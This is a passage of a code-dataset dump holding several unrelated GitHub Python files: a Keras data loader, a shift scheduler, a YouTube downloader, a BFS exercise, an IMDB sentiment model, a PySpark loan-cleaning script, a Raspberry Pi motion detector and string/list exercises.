assert len(self.image_paths) == len(\n self.json_paths), \"number of X and Y missmatch\"\n self.length = len(self.image_paths)\n\n # just check that every img / json paths does match\n for (img_p, json_p) in zip(self.image_paths, self.json_paths):\n img_name = img_p.split(os.path.sep)[-1].split(\".png\")[0]\n json_name = json_p.split(os.path.sep)[-1].split(\".json\")[0]\n\n assert img_name, json_name\n\n def __load_next(self):\n \"\"\"Prepare a batch of data for training.\n\n X represents the input data, and Y the expected outputs (as in Y=f(X))\n\n Returns:\n tuple(list, list): X and Y.\n \"\"\"\n\n X = []\n Y = []\n\n samples = np.random.randint(0, self.length, size=self.batch_size)\n\n for sample in samples:\n img_p, json_p = self.image_paths[sample], self.json_paths[sample]\n image, json_data = load_image_and_json(img_p, json_p)\n\n # apply the transform functions (data augmentation)\n for func in self.transform_funcs:\n image, json_data = func(image, json_data)\n\n # append image to list X label to list Y\n # If you have more than 1 output, this part can become tricky !\n X.append(image)\n Y.append(json_data[\"steering\"])\n\n # transform X and Y into numpy arrays, normalize X\n X = np.array(X) / 255.0\n Y = np.array(Y)\n\n return X, Y\n\n def __len__(self):\n return self.length // self.batch_size + 1\n\n def __getitem__(self, index):\n return self.__load_next()\n\n\n\"\"\"\nNow some transform / data augmentation functions, \nthey should only activate some of the time, for example 50% for the flip.\nTo do so, you can use np.random.random() and check if it is below a certain threshold.\nI know this is not the most elegant/performant way, but it is easy to read and understand.\n\nyou can get creative with those !\nHere are two of them, you can use many more !\n\"\"\"\n\n\ndef flip(image: np.ndarray, data: dict):\n \"\"\"Simple image flip. Also flip the label.\"\"\"\n\n rand = np.random.random()\n if rand < 0.5: # 50%\n data[\"steering\"] = data[\"steering\"] * -1\n image = cv2.flip(image, 1)\n\n return image, data\n\n\ndef noise(image: np.ndarray, data: dict, mult=10):\n \"\"\"Add some noise to the image.\"\"\"\n \n rand = np.random.random()\n if rand < 0.1: # 10%\n noise = np.random.randint(-mult, mult, dtype=np.int8)\n image = image + noise # not perfect, here there could be some unsigned overflow \n\n return image, data\n","repo_name":"Maximellerbach/epitech-autonomous-car","sub_path":"practices/04-more-training/ref_utils.py","file_name":"ref_utils.py","file_ext":"py","file_size_in_byte":4106,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"32950328098","text":"import os\nfrom datetime import datetime, timedelta\nfrom unicodedata import name\n\nclass Shift:\n def __init__(self, name, abbreviation, start_date, end_date):\n self.name = name\n self.abbreviation = abbreviation\n self.start_date = start_date\n self.end_date = end_date\n self.work_hours = (self.end_date-self.start_date).total_seconds() / 3600.0\n\n def __str__(self):\n if self.abbreviation == \"a\" or self.abbreviation == \"n\": \n return f\"{self.name}\\t\\t{self.abbreviation} {self.start_date} {self.end_date}\"\n else:\n return f\"{self.name}\\t{self.abbreviation} {self.start_date} {self.end_date}\"\n\nclass ShiftType:\n def __init__(self, name, abbreviation, start_time, end_time, count):\n self.name = name\n self.abbreviation = abbreviation\n self.start_time = start_time\n self.end_time = end_time\n self.count = count\n def __str__(self):\n return f\"{self.name} {self.abbreviation} {self.start_time} {self.end_time}\"\n def getName(self):\n return self.name\n def getAbbreviation(self):\n return self.abbreviation\n def getStartTime(self):\n return self.start_time\n def getEndTime(self):\n return self.end_time\n def getCount(self):\n return self.count\n\nclass Shifts:\n def __init__(self, fn, year=None, month=None, start_date=None, end_date=None):\n self.fn = fn\n # init shifts\n self.shifts = None\n if year and month:\n self.month = month\n self.year = year\n self.types = self._InitTypesFromFile()\n self.shifts = self._initShiftsFromMonth()\n elif start_date and end_date:\n self.month = start_date.month\n self.year = start_date.year\n self.types = self._InitTypesFromFile()\n self.shifts = self._initShifts(start_date, end_date)\n\n assert(self.shifts)\n return\n\n def __str__(self):\n for shift in self.shifts:\n print(shift)\n return \"\"\n\n def printTypes(self):\n for t in self.types:\n print(t)\n return \"\"\n\n def GetTypes(self):\n return [\"dk0\", \"dm0\", \"dl0\", \"dl1\", \"a0\", \"a1\", \"n0\", \"n1\"]\n\n def ConvertDayStrToDayNum(self, day_str):\n if day_str == \"ma\":\n return 0\n elif day_str == \"di\":\n return 1\n elif day_str == \"wo\":\n return 2\n elif day_str == \"do\":\n return 3\n elif day_str == \"vr\":\n return 4\n elif day_str == \"za\":\n return 5\n elif day_str == \"zo\":\n return 6\n\n def _initShiftsFromMonth(self):\n shifts = []\n if self.month == 12:\n end_month = 1\n end_year = self.year + 1\n else:\n end_month = self.month + 1\n end_year = self.year\n\n curr_date = datetime(self.year, self.month, 1)\n end_date = datetime(end_year, end_month, 1)\n\n shifts = self._initShifts(curr_date,end_date)\n return shifts\n\n def _initShifts(self, start_date, end_date):\n assert(self.types)\n shifts = []\n delta = timedelta(days=1)\n delta_n = 0\n curr_date = start_date\n while curr_date < end_date:\n for st in self.types:\n for c in range(st.getCount()):\n if st.getAbbreviation() == \"n\":\n shifts.append(Shift(f\"{st.getName()}_{c}\", st.getAbbreviation()+str(c), st.getStartTime() + timedelta(delta_n), st.getEndTime() + timedelta(delta_n+1)))\n else:\n shifts.append(Shift(f\"{st.getName()}_{c}\", st.getAbbreviation()+str(c), st.getStartTime() + timedelta(delta_n), st.getEndTime() + timedelta(delta_n)))\n curr_date += delta\n delta_n += 1\n return shifts\n\n def _InitTypesFromFile(self):\n assert(self.fn)\n assert(os.path.isfile(self.fn))\n\n types = []\n with open(self.fn) as f:\n while(True):\n line = f.readline()\n \n if not line:\n break\n\n if line.startswith(\"#\"): # comment\n continue\n \n line_parts = line.split(\";\")\n name = line_parts[0].replace(\"\\t\", \"\").replace(\"\\n\", \"\")\n abbreviation = line_parts[1].replace(\"\\t\", \"\").replace(\" \", \"\").replace(\"\\n\", \"\")\n start_time = datetime.strptime(f\"{self.year}.{self.month:02d}.\" + line_parts[2].replace(\"\\t\", \"\").replace(\" \", \"\").replace(\"\\n\", \"\"), \"%Y.%m.%H.%M\")\n end_time = datetime.strptime(f\"{self.year}.{self.month:02d}.\" + line_parts[3].replace(\"\\t\", \"\").replace(\" \", \"\").replace(\"\\n\", \"\"), \"%Y.%m.%H.%M\")\n count = int(line_parts[4])\n types.append(ShiftType(name, abbreviation, start_time, end_time, count))\n return types","repo_name":"erikthehero/HoningsRoosterHulp","sub_path":"src/Shift.py","file_name":"Shift.py","file_ext":"py","file_size_in_byte":4962,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"72246492053","text":"#! python3\n\nimport sys\nfrom pytube import YouTube\nimport re\nimport os\n\nos.environ[\"IMAGEIO_FFMPEG_EXE\"] = \"/opt/homebrew/Cellar/ffmpeg/6.0/bin/ffmpeg\"\nfrom moviepy.editor import *\n\n\ncurrent_working_directory = os.getcwd()\ndownload_path = f\"{current_working_directory}/downloads\"\n\n\ndef get_user_input(user_choice):\n switcher = {\n 1: 'adaptive',\n 2: 'audio-only',\n 3: 'progressive'\n }\n return switcher.get(user_choice)\n\n\ndef _load_app():\n url_search_result = \"\"\n youtube = None\n\n try:\n url = input('Paste url: ')\n\n try:\n url_search_result = re.search(r'v=.*&', url).group(0)[2:-1]\n print(url_search_result)\n except AttributeError:\n url_search_result = re.search(r'(.be/).*', url).group(0)[4:]\n print(url_search_result)\n except IndexError:\n url = input('Paste url: ')\n except Exception as e:\n print(e)\n url = input('Paste url: ')\n\n while not url:\n try:\n url = input('Paste url: ')\n except Exception as e:\n print(e)\n url = input('Paste url: ')\n\n if url_search_result:\n youtube = YouTube(f'https://youtube.com/watch?v={url_search_result}')\n\n def process_user_choice(user_choice):\n itag = None\n if user_choice == 'adaptive':\n list_of_all_adaptive = youtube.streams.filter(adaptive=True)\n\n itag = get_itag(list_of_all_adaptive)\n\n if user_choice == 'audio-only':\n list_all_audio_only = youtube.streams.filter(only_audio=True)\n\n itag = get_itag(list_all_audio_only)\n\n if user_choice == 'progressive':\n list_all_progressive = youtube.streams.filter(progressive=True)\n\n itag = get_itag(list_all_progressive)\n\n selected_video = youtube.streams.get_by_itag(itag)\n download = selected_video.download(output_path=download_path)\n return download\n\n def get_itag(list_of_downloads):\n print(\"All available video/audio for download:\")\n [print(list_item) for list_item in list_of_downloads]\n\n itag = (int(input('Provide itag number\\nitag=')))\n while not itag:\n itag = (int(input('Provide itag number\\nitag=')))\n\n return itag\n\n user_input = None\n print(\n '''\n #1 - Adaptive download: video only/audio only (for high res videos)\n #2 - Download audio only\n #3 - Progressive download (legacy, supports only 720p resolution videos)\n '''\n )\n\n try:\n while not user_input:\n user_input = (int(input('Choose a number from above\\n#')))\n\n except ValueError:\n while type(user_input) is not int:\n try:\n print(\"%s is not an integer.\" % user_input)\n\n user_input = (int(input('Choose a number from above \\n#')))\n except ValueError:\n continue\n\n except KeyboardInterrupt:\n sys.exit()\n\n except KeyboardInterrupt:\n print(\"Aborting and exiting script execution\")\n sys.exit()\n\n user_input = get_user_input(user_choice=user_input)\n while user_input is None:\n try:\n user_input = (int(input('Wrong input. Choose a number from above.\\n#')))\n\n user_input = get_user_input(user_choice=user_input)\n except ValueError:\n pass\n\n except KeyboardInterrupt:\n print(\"Aborting and exiting script execution\")\n sys.exit()\n\n user_choice_mp3 = input(\"Convert to mp3? (y/n): \")\n if user_choice_mp3 == \"y\":\n res_download = process_user_choice(user_choice=user_input)\n download_filename = \\\n re.sub(current_working_directory, '', res_download).split('.mp4')[0]\n print(res_download)\n video = VideoFileClip(res_download)\n video.audio.write_audiofile(f'{download_filename}.mp3')\n else:\n process_user_choice(user_choice=user_input)\n\n\nif __name__ == '__main__':\n _load_app()\n","repo_name":"dumpofmemory/youtube-video-downloader","sub_path":"do.py","file_name":"do.py","file_ext":"py","file_size_in_byte":3994,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"42924431225","text":"from collections import deque\nimport sys\n\ninput = sys.stdin.readline\n\nmove = [(1,0),(-1,0),(0,-1),(0,1)]\n\nn,l,r = map(int,input().split())\ngraph = [list(map(int,input().split())) for _ in range(n)]\npopulation_move_count = 0\n\ndef bfs():\n global population_move_count\n q = deque()\n visited = [[False]*n for _ in range(n)]\n check = 0\n\n # 한번 검사\n for i in range(n):\n for j in range(n):\n union = []\n if not visited[i][j]: \n q.append((i,j))\n visited[i][j] = True\n population = graph[i][j]\n union.append((i,j))\n\n while q:\n x,y = q.popleft()\n for dx,dy in move:\n nx,ny = x+dx,y+dy\n\n if 0<=nx<n and 0<=ny<n and not visited[nx][ny]:\n # 연합인지 확인\n if l<= abs(graph[x][y] - graph[nx][ny]) <= r:\n q.append((nx,ny))\n visited[nx][ny] = True\n population += graph[nx][ny]\n union.append((nx,ny))\n\n check += 1\n # 이동이 없을 떄\n if check == n*n:\n print(population_move_count)\n exit()\n \n new_population = population // len(union)\n for new_x,new_y in union:\n graph[new_x][new_y] = new_population\n\n population_move_count += 1\n\n\nwhile True:\n bfs()\n \n \n\n","repo_name":"Junnjjj/Algorithm","sub_path":"Sample_Question/BFS/16234.py","file_name":"16234.py","file_ext":"py","file_size_in_byte":1325,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"41606793898","text":"from keras.datasets import imdb\r\nimport numpy as np\r\nfrom keras import models\r\nfrom keras import layers\r\nfrom keras import optimizers\r\nfrom keras import losses\r\nfrom keras import metrics\r\nimport matplotlib.pyplot as plt\r\nfrom tensorflow import optimizers\r\n(train_data, train_labels), (test_data, test_labels) = imdb.load_data(num_words=8000) #Загрузка набора данных IMDB Аргумент num_words= означает, что в обучающих данных будет сохранено только n слов, которые наиболее часто встречаются в обучающем наборе отзывов\r\nprint(train_data[0]) #train_data и test_data — списки отзывов; каждый отзыв — список индексов слов\r\nprint(train_labels[0]) #train_labels и test_labels — списки 0 и 1, где 0 - отрицательные отзывы, а 1 — положительные отзывы\r\nprint(max([max(sequence) for sequence in train_data])) #выводит максимальный индекс, зависит от используемых данных: сколько слов => столько индексов\r\nprint(\"Тест\", len(test_data))\r\n#декодирование одного из отзывов в последовательность слов на английском языке:\r\nword_index = imdb.get_word_index() #word_index — словарь, который отобр��жает слова в индексы (целочисленные)\r\nreverse_word_index = dict([(value, key) for (key, value) in word_index.items()]) # Здесь мы получаем обратное представление словаря, отображающее все реверснуто (то есть индекы в слова)\r\ndecoded_review = ' '.join([reverse_word_index.get(i - 3, '?') for i in train_data[0]]) #Здесь отзыв декодируется. Индексы смещены на 3, так как индексы 0, 1 и 2 зарезервированы для слов\r\n\r\n#Кодирование последовательностей целых чисел в бинарную матрицу\r\ndef vectorize_sequences(sequences, dimension=8000): #Создание матрицы с формой (len(sequences), dimension)\r\n results = np.zeros((len(sequences), dimension)) \r\n for i, sequence in enumerate(sequences):\r\n results[i, sequence] = 1 #Запись единицы в элемент с данным индексом\r\n return results\r\nx_train = vectorize_sequences(train_data) #Обучающие данные в векторном виде (векторизация типа. Наверное...)\r\nx_test = vectorize_sequences(test_data) #Контрольные данные в векторном виде (векторизация типа. Наверное...)\r\nprint(x_train[0])\r\ny_train = np.asarray(train_labels).astype('float32') #Векторизация меток, тип 32 потому что он работет в 32-битной системе\r\ny_test = np.asarray(test_labels).astype('float32') #Векторизация меток\r\nepoch = 10 #задается кол-во эпох\r\n\r\n# ЭТО БЫЛ НЕНУЖНЫЙ КОСТЫЛЬ РЕБЯТ. Я ВСЕ ЭПОХС ПОМЕНЯЛА НА ЭПОЧ И ЗАРАБОТАЛО\r\n\r\n\r\n#Определение модели\r\nmodel = models.Sequential()\r\nmodel.add(layers.Dense(3, activation='softmax', input_shape=(8000,))) #Активация, добавление нейронных слоев. 3 - кол-во нейронов, activation - ф-ция активации input_shape - взымаемые данные\r\nmodel.add(layers.Dense(3, activation='softmax')) #Активация, добавление нейронных слоев. 3 - кол-во нейронов, activation - ф-ция активации \r\nmodel.add(layers.Dense(2, activation='tanh')) #Активация, добавление нейронных слоев. 2 - кол-во нейронов, activation - ф-ция активации \r\n#model.compile(optimizer='rmsprop', loss='binary_crossentropy', metrics=['accuracy']) #Компиляция модели\r\n#model.compile(optimizer=optimizers.RMSprop(learning_rate=0.001), loss='binary_crossentropy', metrics=['accuracy']) #Настройка оптимизатора\r\nmodel.compile(optimizer=optimizers.RMSprop(learning_rate=0.001), loss=losses.binary_crossentropy, metrics=[metrics.binary_accuracy]) #Использование нестандартных функций потерь и метрик, бинарная кроссэнтропия - единицы и нули\r\n# ГУГЛАНИТЕ ЧТО ТАКОЕ ОПТИМИЗАТОР ПЛЗ \r\n\r\n#создание проверочного набора, выбрав n-ое кол-во образцов из оригинального набора обучающих данных\r\nx_val = x_train[:8000]\r\npartial_x_train = x_train[8000:]\r\nprint(\"Проверочные\", len(partial_x_train))\r\ny_val = y_train[:8000]\r\npartial_y_train = y_train[8000:]\r\n\r\n#обучение модели в течении n эпох пакетами по 512 образцов, и слежение за потерями и точностью на n oтложенных образцов\r\n#model.compile(optimizer='rmsprop',loss='binary_crossentropy',metrics=['acc'])\r\nhistory = model.fit(partial_x_train,partial_y_train,epochs=epoch,batch_size=512,validation_data=(x_val, y_val))\r\nresults = model.evaluate(x_test, y_test) \r\n# внос тестовых данных в модель\r\n\r\n#словарь с данными обо всем происходившем в процессе обучения\r\nhistory_dict = history.history\r\nhistory_dict.keys()\r\nprint(history_dict.keys())\r\n\r\n#Формирование графиков потерь на этапах обучения и проверки\r\nloss_values = history_dict['loss']\r\nval_loss_values = history_dict['val_loss']\r\nepochs = range(1, (epoch) + 1)\r\nplt.plot(epochs, loss_values, 'bo', label='Training loss')\r\nplt.plot(epochs, val_loss_values, 'b', label='Validation loss')\r\nplt.title('Training and validation loss')\r\nplt.xlabel('Epochs')\r\nplt.ylabel('Loss')\r\nplt.legend()\r\nplt.show()\r\nprint(results)\r\n\r\n#Формирование графиков точности на этапах обучения и проверк\r\nplt.clf()\r\nacc_values = history_dict['binary_accuracy']\r\nval_acc_values = history_dict['val_binary_accuracy']\r\nplt.plot(epochs, acc_values, 'bo', label='Training acc')\r\nplt.plot(epochs, val_acc_values, 'b', label='Validation acc')\r\nplt.title('Training and validation accuracy')\r\nplt.xlabel('Epochs')\r\nplt.ylabel('Accuracy')\r\nplt.legend()\r\nplt.show()\r\n\r\n#Обучение новой модели с нуля\r\nmodel = models.Sequential()\r\nmodel.add(layers.Dense(3, activation='softmax', input_shape=(8000,)))\r\nmodel.add(layers.Dense(3, activation='softmax'))\r\nmodel.add(layers.Dense(2, activation='tanh'))\r\nmodel.compile(optimizer='rmsprop',loss='binary_crossentropy',metrics=['accuracy'])\r\nmodel.fit(x_train, y_train, epochs=4, batch_size=512)\r\nresultss = model.evaluate(x_test, y_test)\r\nprint(resultss)\r\n\r\n\r\n","repo_name":"Kennzu/Work-with-feedback-Neiuron-","sub_path":"reviewss .py","file_name":"reviewss .py","file_ext":"py","file_size_in_byte":7240,"program_lang":"python","lang":"ru","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"7426419191","text":"import logging\nfrom os import path as p\nimport shutil as s\nfrom pyspark.sql import SparkSession\nfrom constants import path, columns_to_drop\nfrom functions import *\n\n\ndef main(name='Clean_loans'):\n logger = logging.getLogger(__name__)\n spark = SparkSession.builder.appName(f'{name}').getOrCreate()\n\n data = spark.read.csv(\n path,\n inferSchema=True,\n header=True\n )\n initial_size = data.count()\n\n logger.info(f'Dropping cols w/ >= 50% nans')\n data = drop_na_cols(data=data, pct=0.5)\n\n logger.info(f'Cleaning text based data')\n data = lower_case_cols(data)\n data = remove_whitespace(data)\n\n logger.info(f'Cleaning data types')\n data = truncate_credit_line(data, 'earliest_credit_line')\n data = truncate_term(data, 'term')\n data = make_col_numeric(data, 'earliest_credit_line')\n data = make_col_numeric(data, 'term')\n data = make_col_numeric(data, 'annual_income')\n data = make_col_numeric(data, 'credit_score')\n\n\n logger.info(f'Re-categorising categorical variables')\n data = categorise_employment_length(data, spark)\n data = categorise_home_ownership(data, spark)\n data = categorise_inquiry(data, spark)\n data = categorise_purpose(data, spark)\n\n logger.info(f'Imputing variables')\n data = impute_column(data, spark, 'district', 'total_current_balance')\n\n logger.info(f'Creating variables')\n data = create_credit_age(data, spark, 2015)\n data = create_binary_class(data, spark)\n\n logger.info(f'Dropping redundant variables and NA samples')\n data = data.drop(*columns_to_drop['drop'])\n data = data.na.drop()\n\n new_size = data.count()\n\n logger.info(f'Clean data rows: {new_size} '\n f'Row Difference: {initial_size - new_size}')\n\n output_filepath = f'../../data/interim/loans_clean_spark'\n\n if p.exists(output_filepath):\n s.rmtree(output_filepath)\n\n data.repartition(1).write.format('csv').save(f\"{output_filepath}\", header='true')\n logger.info(f'Clean data exported to {output_filepath}')\n\n\nif __name__ == '__main__':\n log_fmt = '%(asctime)s - %(name)s - %(levelname)s - %(message)s'\n logging.basicConfig(level=logging.INFO, format=log_fmt)\n\n # find .env automagically by walking up directories until it's found, then\n # load up the .env entries as environment variables\n\n main()\n","repo_name":"ah12068/spark-loans","sub_path":"src/data/make_dataset.py","file_name":"make_dataset.py","file_ext":"py","file_size_in_byte":2340,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"12897784967","text":"import serial\nimport time\nimport binascii\nfrom imutils.video.pivideostream import PiVideoStream\nimport numpy as np\nimport copy\nimport smbus\nimport time\n\nimport cv2,time\n\nvs = PiVideoStream()\n\nvs.camera.vflip=True\nvs.camera.brightness=50\nvs.camera.iso=800\ndef get_distance():\n\tbus.write_byte_data(0x29,0x00,0x01)\n\twhile True:\n\t\tstate=bus.read_byte_data(0x29,0x14)\n\t\tif (state)&0x01:\n\t\t\tbreak\n\t#print(state&0x78)\n\tdata=bus.read_byte_data(0x29,0x1e)\n\tdata2=bus.read_byte_data(0x29,0x1f)\n\tdata3=(data<<8)|data2\n\t#time.sleep(0.05)\n\treturn [data3,state]\n\nbus=smbus.SMBus(1)\nser=serial.Serial('/dev/ttyUSB0',115200,timeout=1)\n\nser.flushInput()\n\nwhile True:\n\tcount=ser.inWaiting()\n\tif count!=0:\n\t\trect=ser.read(count)\n\t\tprint(rect)\n\t\tif rect=='on':\n\t\t\tprint('system start')\n\t\t\tbreak\n\tser.flushInput\t\n\t#ser.write('a')\n\t#ser.flushInput()\n\ttime.sleep(0.5)\n\nkernel=cv2.getStructuringElement(cv2.MORPH_ELLIPSE,(3,3))\n#fgbg=cv2.bgsegm.createBackgroundSubtractorMOG()\n#fgbg=cv2.createBackgroundSubtractorKNN()\nfgbg=cv2.createBackgroundSubtractorMOG2(history=150,varThreshold=200,detectShadows=False)\n\n\nkernel2=np.ones((3,3),np.uint8)\n\nvs.start()\ntime.sleep(2)\nimage=vs.read()\nofgbg=copy.deepcopy(fgbg)\nfgmask=fgbg.apply(image)\nfgmask=cv2.morphologyEx(fgmask,cv2.MORPH_OPEN,kernel2)\n\ncounter=0\ncounter2=0\nwhile(True):\n\t#counter+=1\n\tfgmask=fgbg.apply(image)\n\t#fgmask=cv2.morphologyEx(fgmask, cv2.MORPH_OPEN, kernel)\n\t#dst=cv2.GaussianBlur(image,(5,5),0)\n\t[distance , state]= get_distance()\n\tif (state&0x78)==64 or (state&0x78)==72:\n\t\tprint(\"outofrange\")\n\telse:\n\t\tprint(distance)\n\tcv2.imshow(\"origin\",image)\n\tcv2.imshow(\"fgmask\",fgmask)\n\timage=vs.read()\n\tif np.count_nonzero(fgmask)>1000:\n\t\tcounter+=1\n\t\tcounter2=0\n\telse:\n\t\tcounter2+=1\n\tprint(np.count_nonzero(fgmask))\n\tif counter>=5:\n\t\tprint('Movement Detect!!!')\n\tif counter2>=10:\n\t\tcounter=0\n\tcount=ser.inWaiting()\n\tif count!=0:\n\t\trect=ser.read(count)\n\t\tprint(rect)\n\t\tif rect=='off':\n\t\t\tprint('system end')\n\t\t\tser.flushInput\t\n\t\t\tbreak\n\t\n\t\n\t\n\tif cv2.waitKey(1) & 0xFF == ord('q'):\n\t\tbreak\n\ncv2.destroyAllWindows()\nvs.stop()\ntime.sleep(0.5)\n","repo_name":"sky99190/demo","sub_path":"CPE556_CourseProject/556/project.py","file_name":"project.py","file_ext":"py","file_size_in_byte":2074,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"43044537036","text":"import logging\r\n\r\n#V1 = \"this is My First Python programming class and i am learNING python string and its function\"\r\n\r\n\"\"\"Q1. Try to extract data from index one to index 300 with a jump of 3\r\nQ2. Try to reverse a string without using reverse function\r\nQ3. Try to split a string after conversion of entire string in uppercase\r\nQ4.Try to convert the whole string into lower case\r\nQ5. Try to capitalize the whole string\r\nQ6. Write difference between isalnum() and isalpha()\r\nQ7. Tru to give an example of expand tab\r\nQ8. Give an example of strip, lstrip and rstrip\r\nQ9. Replace a string charecter by another charector by taking your own example\"\"\"\r\n\r\nclass String:\r\n logging.basicConfig(filename='String_log.log', level=logging.DEBUG,\r\n format='%(levelname)s: %(name)s: %(asctime)s: %(message)s')\r\n\r\n def data_extract(self, data):\r\n \"\"\" Trying to extract the data from index 1 to 300 with jump of 3\"\"\"\r\n extracted_data = ''\r\n try:\r\n logging.info(\"Trying to extract the data with jump 3\")\r\n extracted_data = data[:300:3]\r\n return extracted_data\r\n except Exception as e:\r\n logging.exception(e)\r\n\r\n def reverse_data(self, data):\r\n \"\"\" Trying to reverse the data without using reverse function\"\"\"\r\n reversed_data = \"\"\r\n try:\r\n logging.info(\"Trying to reverse the given string data \")\r\n reversed_data = data[::-1]\r\n return reversed_data\r\n except Exception as e:\r\n logging.exception(e)\r\n\r\n def Up_split(self, data):\r\n \"\"\" Trying to covert the data into upper case and spliting with spces\"\"\"\r\n list1 = []\r\n try:\r\n logging.info(\"Trying to convert into upper cases of the given string and spliting with spaces \")\r\n list1 = data.upper().split(\" \")\r\n return list1\r\n except Exception as e:\r\n logging.exception(e)\r\n\r\n def Lower(self, data):\r\n \"\"\" Trying to covert the data into lower case\"\"\"\r\n Lower_data = \"\"\r\n try:\r\n logging.info(\"Trying to convert into lower cases of the given string\")\r\n Lower_data = data.lower()\r\n return Lower_data\r\n except Exception as e:\r\n logging.exception(e)\r\n\r\n def Capitalse(self, data):\r\n \"\"\" Trying to capitalize the data\"\"\"\r\n Captalised_Data = \"\"\r\n try:\r\n logging.info(\"Trying to capitalize the given data\")\r\n Captalised_Data = data.capitalize()\r\n return Captalised_Data\r\n except Exception as e:\r\n logging.exception(e)\r\n\r\n def alnum_alpha(self, data):\r\n \"\"\" This function will say about the given data is alnum or alpha \"\"\"\r\n try:\r\n if data.isalnum():\r\n logging.info(\"Trying to check the given data us alnum\")\r\n print(\" Given data is alnum\")\r\n elif data.isalpha():\r\n logging.info(\"Trying to check the given data us alnum\")\r\n print(\"Given data is alpha\")\r\n else:\r\n print(\" Given data is either alnum or alpha\")\r\n except Exception as e:\r\n logging.exception(e)\r\n\r\n def Expand(self, data):\r\n \"\"\" This function will expand the data withh expand tab \"\\t\" \"\"\"\r\n expand_data = \"\"\r\n try:\r\n logging.info(\"Trying to expand the data with \\t\" )\r\n expand_data = \"\\t\".join(data)\r\n return expand_data\r\n except Exception as e:\r\n logging.exception(e)\r\n\r\n def Strip(self, data):\r\n \"\"\" This function will perfrom strip , lstrip, rstrip of given data\"\"\"\r\n strip_data = \"\"\r\n lstrip_data = \"\"\r\n rstrip_data = \"\"\r\n try:\r\n logging.info(\"Trying to make strip the data\")\r\n strip_data = data.strip()\r\n lstrip_data = data.lstrip()\r\n rstrip_data = data.rstrip()\r\n return strip_data , lstrip_data , rstrip_data\r\n except Exception as e:\r\n logging.exception(e)\r\n def Replace(self, data, replace_data):\r\n \"\"\" This function will try to perform replece the given data with replace_data\"\"\"\r\n replaced_Data = \"\"\r\n try:\r\n logging.info(\"trying to replace the data with replace_data\")\r\n replaced_Data = data.replace(data, replace_data)\r\n return replaced_Data\r\n except Exception as e:\r\n logging.exception(e)\r\n\r\n def str_cen(self, data, cen, qty):\r\n \"\"\" This function wiil try to place the data in b/w \"\"\"\r\n str_cen_data = \"\"\r\n try:\r\n logging.info(\"Trying to keep given data in b/w quantity of passed charecters\")\r\n str_cen_data = data.center(qty, cen)\r\n return str_cen_data\r\n except Exception as e:\r\n logging.exception(e)\r\n\r\n\r\nV1 = \"this is My First Python programming class and i am learNING python string and its function\"\r\n\r\nString_var = String()\r\nprint(String_var.data_extract(V1))\r\nprint(String_var.reverse_data(V1))\r\nprint(String_var.Up_split(V1))\r\nprint(String_var.Lower(V1))\r\nprint(String_var.Capitalse(V1))\r\nString_var.alnum_alpha(V1)\r\nprint(String_var.Expand(V1))\r\nprint(String_var.Strip(\" This is task for OOPS concept \"))\r\nprint(String_var.Replace(V1, \"Try to rplace with data with this data\"))\r\nprint(String_var.str_cen(\"iNeuron\", \"*\", 20))\r\n\r\n#=============================================== End Of String Class ==========================================\r\n\r\n\r\n\r\n\"\"\"#Questions on date of 21.05.2022:\r\nl = [3,4,5,6,7 , [23,456,67,8,78,78] , [345,56,87,8,98,9] , (234,6657,6) , {\"key1\" :\"sudh\" , 234:[23,45,656]}] \r\n1 . Try to reverse a list\r\n2. try to access 234 out of this list\r\n3 . try to access 456 \r\n4 . Try to extract only a list collection form list l \r\n5 . Try to extract \"sudh\" \r\n6 . Try to list all the key in dict element avaible in list \r\n7 . Try to extract all the value element form dict available in list\"\"\"\r\n\r\n\r\nclass List:\r\n logging.basicConfig(filename=\"List_Log.log\", level= logging.DEBUG,\r\n format=\"%(levelname)s: %(name)s: %(asctime)s:%(message)s\")\r\n\r\n def Reverse_List(self, data):\r\n \"\"\"This function will keep index in reverse order\"\"\"\r\n l1 = []\r\n try:\r\n logging.info(\"Trying to reverse the index of given list \")\r\n l1 = data[::-1]\r\n return l1\r\n except Exception as e:\r\n logging.exception(e)\r\n\r\n def Accesss_234(self, data):\r\n \"\"\"This function will try to fetch 234 value from given list\"\"\"\r\n try:\r\n logging.info(\"Trying to fetch the 234 value in given list\")\r\n return data[7][0]\r\n except Exception as e:\r\n logging.exception(e)\r\n\r\n def Accesss_456(self, data):\r\n \"\"\"This function will try to fetch 456 value from given list\"\"\"\r\n try:\r\n logging.info(\"Trying to fetch the 456 value in given list\")\r\n return data[5][1]\r\n except Exception as e:\r\n logging.exception(e)\r\n\r\n def Extract_List(self, data):\r\n \"\"\" This function will try ti access list in given data\"\"\"\r\n l1 = []\r\n try:\r\n logging.info(\"Trying to extract list in given data\")\r\n for i in data:\r\n if type(i)== list:\r\n l1.append(i)\r\n return l1\r\n except Exception as e:\r\n logging.exception(e)\r\n\r\n def Extract_sudh(self, data ):\r\n \"\"\" This function will try to extract sudh from given data\"\"\"\r\n try:\r\n logging.info(\"Trying to extract sudh from given data\")\r\n for i in data:\r\n if type(i)==dict:\r\n for j, k in i.items():\r\n if i[j]==\"sudh\":\r\n return i[j]\r\n except Exception as e:\r\n logging.exception(e)\r\n\r\n def Extract_keys(self, data ):\r\n \"\"\" This function will try to extract keys from given data\"\"\"\r\n try:\r\n logging.info(\"Trying to extract keys from given data\")\r\n for i in data:\r\n if type(i)==dict:\r\n return i.keys()\r\n except Exception as e:\r\n logging.exception(e)\r\n\r\n def Extract_values(self, data ):\r\n \"\"\" This function will try to extract values from given data if there is dictionary \"\"\"\r\n try:\r\n logging.info(\"Trying to extract value from given data\")\r\n for i in data:\r\n if type(i)==dict:\r\n return i.values()\r\n except Exception as e:\r\n logging.exception(e)\r\n\r\n\r\n\r\n\r\n\r\nl = [3,4,5,6,7 , [23,456,67,8,78,78] , [345,56,87,8,98,9] , (234,6657,6) , {\"key1\" :\"sudh\" , 234:[23,45,656]}]\r\n\r\nList_var = 